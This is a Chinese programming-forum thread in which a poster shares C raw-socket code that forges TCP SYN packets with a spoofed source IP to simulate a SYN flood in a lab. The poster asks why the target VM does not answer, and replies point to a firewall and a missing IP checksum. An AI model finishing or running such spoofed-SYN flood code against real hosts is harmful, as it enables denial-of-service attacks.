用SOCK_RAW(原始套接字)模拟SYN Flood攻击,目标主机不响应ACK+SYN数据报

du56du 2017-09-19 11:55:29

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define DESTPORT 80
#define LOCALPORT 12345

/* 发送SYN数据报 */
void send_tcp(int sockfd, struct sockaddr_in* addr);

unsigned short check_sum(unsigned short* addr, int len);

int main(int argc, char* argv[]) {
int sockfd;
struct sockaddr_in addr; // 目标IP地址结构体
int on = 1;

// 初始化目标IP地址结构体
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = PF_INET;
addr.sin_port = htons(DESTPORT);
inet_aton(argv[1], &addr.sin_addr);

/* 创建TCP原始套接字 */
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

/* 设置IP数据报格式, 开启IP_HDRINCL */
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

/* 将进程的有效用户ID设置为0 */
setuid(getuid());

/* 发送SYN数据报 */
send_tcp(sockfd, &addr);

return 0;
}

/* 发送SYN数据报 */
void send_tcp(int sockfd, struct sockaddr_in* addr) {
char buffer[100]; // 存放用户自定义的IP数据包
struct ip* ip;
struct tcphdr* tcp;
int head_len;

head_len = sizeof(struct ip) + sizeof(struct tcphdr);
bzero(buffer, 100);

/* 填充IP数据报的头部 */
ip = (struct ip*)buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_dst = addr->sin_addr; // 目标IP地址

printf("目标IP地址: %s\n", inet_ntoa(addr->sin_addr));

/* 填充TCP数据包 */
tcp = (struct tcphdr*)(buffer + sizeof(struct ip));
tcp->source = htons(LOCALPORT); // 本地端口
tcp->dest = addr->sin_port; // 目的端口
tcp->seq = 1234;
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1; // 请求建立连接
tcp->ack = 0;
tcp->window = 5000;
tcp->check = 0;

ip->ip_src.s_addr = 0x12345678;

printf("address is %s\n", inet_ntoa(ip->ip_src));

sendto(sockfd, buffer, head_len, 0, (struct sockaddr*)addr, sizeof(struct sockaddr));
}

上面是C语言代码,我想用SOCK_RAW模拟SYN Flood攻击,运行上面的代码后的确是发送了SYN请求包,但是目标主机不响应ACK+SYN数据报。

下面是wireshark抓包的结果:


出现这种情况是什么原因?
...全文
439 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
qq_26742095 2018-11-13
  • 打赏
  • 举报
回复
IP头校验码不对
du56du 2017-09-22
  • 打赏
  • 举报
回复
引用 6 楼 赵4老师的回复:
其实我也是略知皮毛。 现代中国人的能力差别很大程度上体现在会不会合理高效地使用百度上。 百度搜相关关键字。
我就是那个不会用百度的,有些问题在百度上搜不出来,这就很尴尬。
赵4老师 2017-09-22
  • 打赏
  • 举报
回复
其实我也是略知皮毛。 现代中国人的能力差别很大程度上体现在会不会合理高效地使用百度上。 百度搜相关关键字。
赵4老师 2017-09-21
  • 打赏
  • 举报
回复
《TCPIP详解卷一:协议》
du56du 2017-09-21
  • 打赏
  • 举报
回复
引用 4 楼 zhao4zhong1 的回复:
《TCPIP详解卷一:协议》
请教一下赵老师,利用SOCK_RAW构造自己的TCP报文时,“IP数据报的首部校验和”以及“TCP报文的首部校验和”需要自己手动填写,还是内核自动填写?如果是手动填写,是不是要自己用C语言实现一个计算校验和的函数?
赵4老师 2017-09-20
  • 打赏
  • 举报
回复
智能路由器上可能有过滤功能。 学会使用抓包软件分析具体原因。
du56du 2017-09-20
  • 打赏
  • 举报
回复
引用 1 楼 zhao4zhong1 的回复:
防火墙……
我在Kali Linux上运行这段程序,目标主机是Windows 2003虚拟机,打开80端口,关闭win主机的防火墙,可还是得不到ACK+SYN响应。 你说是防火墙的原因,那为什么正常HTTP访问的SYN请求能建立连接?而我构造的SYN数据包不能。 我对比了一下这两个数据报,它们有差异:正常的SYN请求报文66字节,而我构造的SYN数据报60字节。 我也检查了它们的TCP首部和IP首部字段,都没问题啊,百思不得其解。。。
赵4老师 2017-09-20
  • 打赏
  • 举报
回复
防火墙……

69,371

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧